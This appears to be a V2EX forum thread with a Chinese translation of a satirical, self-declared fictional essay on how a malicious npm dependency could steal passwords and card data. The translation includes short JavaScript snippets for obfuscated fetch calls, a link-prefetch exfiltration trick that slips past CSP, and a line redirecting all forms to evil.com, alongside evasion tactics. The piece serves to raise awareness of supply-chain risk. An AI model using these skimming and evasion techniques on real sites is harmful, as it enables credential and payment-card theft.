如何看待这个利用 npm 包收集敏感信息的办法? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
wanghanlin
V2EX    分享发现

如何看待这个利用 npm 包收集敏感信息的办法?

  •  
  •   wanghanlin 2018-01-13 12:26:17 +08:00 2328 次点击
    这是一个创建于 2830 天前的主题,其中的信息可能已经有所发展或是发生改变。

    原标题:I ’ m harvesting credit card numbers and passwords from your site. Here ’ s how.

    来源: https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5

    简单不完全翻译: 作者写了个能发送用户敏感信息的 js,弄到了一个 npm 包里面,发了很多 PR 让别人的库引用,然后真的很多网站在不知道的情况下加载并运行了这段 js。总结:以上全是作者自己编的

    全文翻译(部分是机翻):

    我正在从你网站上收集信用卡信息和密码,来看看我是怎么做的。

    这是一个真实的故事,或者可能是基于一个真实的故事,又或者根本不是一个真实的故事。

    这是一个惊心动魄的安全恐慌周 - 似乎每天都有一个新的漏洞。对于我个人来说,当我被家人问及时,我会理解发生了什么事情,这真是一场真正的斗争。

    看到接近我的人对于“粉碎”的前景感到慌张,真的让我看得很清楚。

    因此,我决定要干净利落地告诉大家,过去几年来我一直在你的网站上窃取用户名,密码和信用卡号码。

    恶意代码本身非常简单,当它在满足以下标准的页面上运行时,它会发挥最好的作用:

    • 该页面有一个<form>
    • 一个元素匹配input [type =“ password ”]name =“ cardnumber ”name =“ cvc ”等。
    • 该页面包含“信用卡”,“结帐”,“登录”,“密码”等字样

    然后,当密码 /信用卡字段发生blur事件,或者检测到表单submit事件时,我的代码:

    • 从页面上的所有表单域( document.forms.forEach (...))
    • 获取数据抓取document.cookie
    • 它变成一个看上去随机的字符串 payload = btoa(JSON.stringify(sensitiveUserData))
    • 然后发送到 https://legit-analytics.com?q=${payload} (这当然并不是我真的域名)

    简而言之,如果看起来像是对我来说可能是非常有价值的数据,我将它发送到我的服务器。

    当然,当我第一次写这个代码的时候,在 2015 年,这个代码在我的电脑上都没用。我需要把它推向世界。进入你的网站。

    从谷歌的一些智慧的话来说:

    如果攻击者成功注入了任何代码,那么游戏结束了

    XSS 的规模太小,真的很好的保护。

    而 Chrome 扩展程序太受限了。

    对我来说幸运的是,我们生活在一个人们正在安装 npm 软件包的时代,就像他们正在爆出痛苦的杀手一样。

    所以,npm 是我的分发方法。我需要拿出一些边界有用的软件包,人们会毫不犹豫地安装 - 我的特洛伊木马。

    人们喜欢漂亮的颜色 - 这是我们与狗分开的东西(译注:狗是色盲)- 所以我写了一个软件包,让你以任何颜色登录到控制台。

    image

    源码,如果你真的想看: https://gist.github.com/davidgilbertson/6eae478d9a197bfa1b4dfbef38f787e5

    在这一点上,我感到非常兴奋 - 我有一个引人注目的方案 - 但是我不想等待人们慢慢发现并传播。所以我开始制作 PR 到现有的软件包,这些软件包将我的彩色软件包添加到他们的依赖项中。

    我现在已经做了几百个 PR (不同的用户帐号,不,他们都不是“ David Gilbertson ”(译注:文章原作者名字))到各种前端软件包及其依赖项。 “嗨,我已经解决了问题 x 并且还添加了一些日志记录。”

    看,我正在贡献开源!

    在那里有很多明智的人告诉我他们不想要新的依赖,但这是可以预料的,这是一个数字游戏。

    总的来说,这个活动取得了巨大的成功,我的丰富多彩的控制台代码现在直接依赖于 23 个软件包。其中一个包本身就是一个相当广泛使用的包 - 我的摇钱树。我不会提到任何名字,但你可以说这是用来给我赚外快的。

    而这只是一个包。我还有 6 个更多的已经翘首以待。

    我现在每个月下载大约 12 万次,我很自豪地宣布,我的恶意代码每天都在数千个网站上执行,其中包括几个 Alexa 前 1000 的网站,给我发送了大量的用户名,密码和信用卡信息。

    回想起这些黄金时代,我不敢相信人们为了将代码整合到一个单一的网站上而花费了很多的努力来解决跨站脚本问题。将恶意代码发送到数千个网站非常简单,只需要我的网页开发者“朋友”的帮助。

    有些反对意见可能会对我公然的恐惧感产生影响。

    我会注意到网络请求出去!

    你会注意到他们在哪里?当 DevTools 打开时,我的代码将不会发送任何东西(对的,他在独立窗口也是如此)。

    我把这称为海森堡机动:如果你试图观察我的代码的行为,你就会改变我的代码的行为。

    在本地主机或任何 IP 地址上运行时,或者域包含 dev,test,qa,uat 或 staging (使用正则\b检测)的地方,它也保持沉默。

    我们的渗透测试人员会在他们的 HTTP 请求监控工具中看到它!

    他们工作几个小时?我的代码不会在上午 7 点到晚上 7 点之间发送任何内容。它减少了我的长途,但 95 %减少了我被抓住的机会。

    我只需要一次凭证。所以在发送设备请求之后,我会记下它(本地存储和 cookie ),并且不会再发送该设备。复制并不容易。

    即使一些勤奋好学的小笔测试者不断地清理 cookie 和本地存储器,我也只是间歇地发送这些请求(大约七分之一,轻微随机化 - 理想的麻烦引起的频率)。

    此外,该网址看起来很像您的网站制作的其他 300 个广告网络请求。

    关键是,仅仅因为你没有看到它,并不意味着它没有发生。已经两年多了,据我所知,没有人注意到我的一个要求。也许他一直在你的网站存在着:)

    (有趣的是,当我查看所收集的所有密码和信用卡号码并将其捆绑在暗网上销售时,我必须搜索我的信用卡号码和用户名以防我捕获我自己的信息,这不好笑!)

    我会在 GitHub 的源代码中看到它!

    你的无知温暖我的心。

    但是恐怕完全有可能将一个版本的代码发布到 GitHub,而另一个版本发布到 npm。

    在我的 package.json 中,我定义了 files 属性指向一个 lib 目录,其中包含缩小的,难以理解的讨厌的代码 - 这就是 npm publish 会发送给 npm 的内容。但是 lib 在我的.gitignore 中,所以它永远不会去 GitHub。这是一个非常普遍的做法,所以如果你在 GitHub 上读取这些文件,它甚至不会怀疑。

    这不是一个 npm 问题,即使我没有提供不同的代码给 npm 和 GitHub,谁说你在 /lib/package.min.js 中看到的是真正的缩小 /src/package.js 的结果?

    所以不,你不会在 GitHub 的任何地方找到我讨厌的代码。

    我阅读了 node_modules 中所有代码的精简源代码!

    好的,现在你只是提出异议。但也许你认为你可以写一些聪明的东西,自动检查任何可疑的代码。

    你仍然不会在我的源代码中发现太多有意义的东西,我没有任何地方有 fetch 或 XMLHttpRequest 这个词,也没有我发送的域名。我的抓取代码如下所示:

    const i = 'gfudi'; const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join(''); self[k(i)](urlWithYourPreciousData); 

    “ gfudi ” 就是 “ fetch ” 把每个字母向后移一个. 硬核密码学就在那里。selfwindow 的别名.

    self['\u0066\u0065\u0074\u0063\u0068'](...) 就是另一种方法用来执行 fetch(...) .

    重点:在混淆代码中发现恶意代码是非常困难的,你没有机会。

    (说了这么多,我实际上并没有像任何东西那样使用任何东西,我更喜欢新的EventSource ( urlWithYourPreciousData ),这样即使你是偏执狂的,通过使用 serviceWorker 来监听读取事件,我会马上溜走,我只是不发送任何支持 serviceWorker 但不支持 EventSource 的浏览器。)

    我有一个内容安全策略!

    哦,现在呢。

    有没有人告诉你,这将防止恶意代码发送数据到一些卑鄙的域名?我讨厌成为坏消息的持有者,但是,即使是最严格的内容安全策略,以下四行代码也会顺利通过。

    const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); 

    认命吧,CSP (在这篇文章的一个早期版本中,我说过一个可靠的内容安全策略会让你(我引用)“ 100 %安全”,不幸的是,在我学习上述技巧之前,有 13 万人阅读了这篇文章。你不能相信任何东西或互联网上的任何东西。)

    但是 CSP 并不完全没有帮助。以上只适用于 Chrome,一个体面的 CSP 可能会阻碍我在一些较少使用的浏览器上的努力。

    如果您还不知道,内容安全策略可以限制可以从浏览器发出的网络请求。它的目的是限制你可以带入浏览器,但也可以作为一个副作用,限制数据发送的方式(当我把密码发送到服务器时,它只是一个查询参数获取请求)。

    如果我无法使用预取技巧获取数据,CSP 对于我的信用卡收集公司来说是非常棘手的。而不仅仅是因为他们中性的邪恶的意图。

    如果我尝试从具有 CSP 的站点发送数据,则可以通知站点所有者失败的尝试(如果他们指定了报告 - URI )。他们最终会跟踪我的代码,可能会打电话给我的母亲,然后我会遇到很大的麻烦。

    由于我不想把注意力吸引到自己身上(除非我在舞池),所以在尝试发送东西之前,先检查一下你的 CSP。

    为此,我向当前页面发出一个虚拟请求,并阅读 header 头部信息。

    在这一点上,我可以寻找方法摆脱你的 CSP。Google 登录页面上有一个 CSP,如果我的代码在该页面上运行,可以轻松发送您的用户名和密码。他们没有明确设置 connect-src,也没有设置 catch-all 和 default-src,所以我可以在任何我想的时候发送你的凭据。

    如果您向我发送邮件并支付$10,我会告诉您我的代码是否在 Google 登录页面上运行。

    亚马逊在您输入信用卡号码的页面上根本没有 CSP,eBay 也没有。

    Twitter 和 PayPal 有 CSP,但从他们那里获取数据仍然非常容易。这两个以相同的方式允许幕后发送数据,这可能是其他人也允许的。乍看之下,一切都看起来很彻底,他们都设置 default-src 和 catch-all 像他们应该做的那样。但是,这是一个起码的问题,那就是抓不住所有的东西。他们还没有锁定 form-action。

    所以,当我检查你的 CSP (并检查两次)时,如果其他所有内容都被锁定了,但是在那里我没有看到表单动作,我只是去改变动作(当你点击数据时'登录')在您的所有表单上。

    Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`); 

    轰隆,感谢您向我发送您的 PayPal 用户名和密码,朋友。我会给你一张感谢卡,上面写着我用你的钱买的东西的照片。

    当然,我只是每个设备做一次这个技巧,然后将用户反弹回引用页面,在那里他们会耸耸肩,然后再试一次。

    (使用这种方法,我接管了特朗普的 Twitter 帐户,并开始发出各种奇怪的狗屎,至今还没有人注意到。)

    好,我非常关心,我该怎么办?

    选项 1:

    image

    你在这里会很安全

    选项 2:

    在任何收集您不想让我(或我的同伴)攻击的数据的页面上,请勿使用 npm 模块。或 Google 跟踪代码管理器,或广告网络或分析,或任何不是您的代码。

    正如这里所建议的那样,您可能要考虑在 iFrame 中提供用于登录和信用卡收集的专用轻量级页面。

    你仍然可以在头文件 /页脚 /导航 /任何东西中使用 React 的 138 个 npm 软件包,但用户输入的页面部分应该放在一个沙盒的 iFrame 中,并且只能手工运行(我可能会建议,不要压缩) Javascript - 如果你想做客户端验证。

    我很快就会发布我的 2017 年度报告,我宣布自己的收入来自窃取信用卡号码,并将它们卖给流氓黑客。我需要法律来显示哪些网站,我撇去最多的信用卡 - 也许你的名单上?

    由于我是一个优秀的人,所以在 1 月 12 日成功阻止我收集数据的名单上的任何人都将免于受到公众的羞辱。

    一个严肃的笔记

    我知道,有时候,我在英语学习的路上(以及需要照亮的人)可能难以把我无情的讥讽弄得一团糟。所以要清楚,我没有创建这么一个窃取信息的 npm 包。这篇文章完全是虚构的,但完全是合理的,我希望至少有一点教育。

    虽然这一切都已经完成,但是我担心这些都不难。

    那里不乏聪明,讨厌的人,还有 40 万 npm 的包裹。在我看来,这种可能性甚至比那些至少有一个软件包中含有恶意代码更好,如果做得好的话,你永远不会知道。

    下面是一个有趣的思考实验:上周我写了一个 npm 包,有一点点细微的功能。完全遇着这篇文章不相关,我作为一个绅士给你我的承诺,代码没有什么恶意的地方。你将其添加到您的网站会有多紧张?

    总结

    那么像这样的帖子有什么意义呢?难道只有我指着说:“哈,你是个傻逼!”

    一点都不。(好吧,这是从一开始,但后来我意识到我也是一个傻逼,所以我改变了我的措辞。)

    我的目标(事实证明)仅仅是指出,任何包含第三方代码的网站都是以一种完全无法察觉的方式受到惊吓的。

    与往常一样,感谢阅读,并保持意见和更正。

    更新:这篇文章的后续工作正在进行中,我将详细介绍如何避免上面列出的风险,以及对日常工作流程造成的最小干扰。如果您想要点击下面的小按钮来获得通知,那么现在就可以继续。

    4 条回复    2018-01-13 13:38:15 +08:00
    hcymk2
        1
    hcymk2  
       2018-01-13 13:21:40 +08:00
    这个之前又人发过,而且有翻译。
    h4lbhg1G
        2
    h4lbhg1G  
       2018-01-13 13:23:53 +08:00
    我记得好像还有个 python-pip 包也是这样,作者好像还专门做了一个网站公布受害者 IP
    wanghanlin
        3
    wanghanlin  
    OP
       2018-01-13 13:27:56 +08:00
    @hcymk2 V2EX 上发的吗?我刚搜了下只搜到一个清屏网的上面有一篇,别的地方都没看到过
    http://www.qingpingshan.com/m/view.php?aid=367698
    感觉翻译的还不错还有格式,大家可以看他的翻译。
    blless
        4
    blless  
       2018-01-13 13:38:15 +08:00 via iPhone
    @h4lbhg1G pip 没记错的话前段时间有个利用相似名加恶意代码,而且大部分 pip 都是源码发布…跟这个 npm min.js 版本混入恶意代码不是一回事吧
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     1358 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 28ms UTC 17:06 PVG 01:06 LAX 10:06 JFK 13:06
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86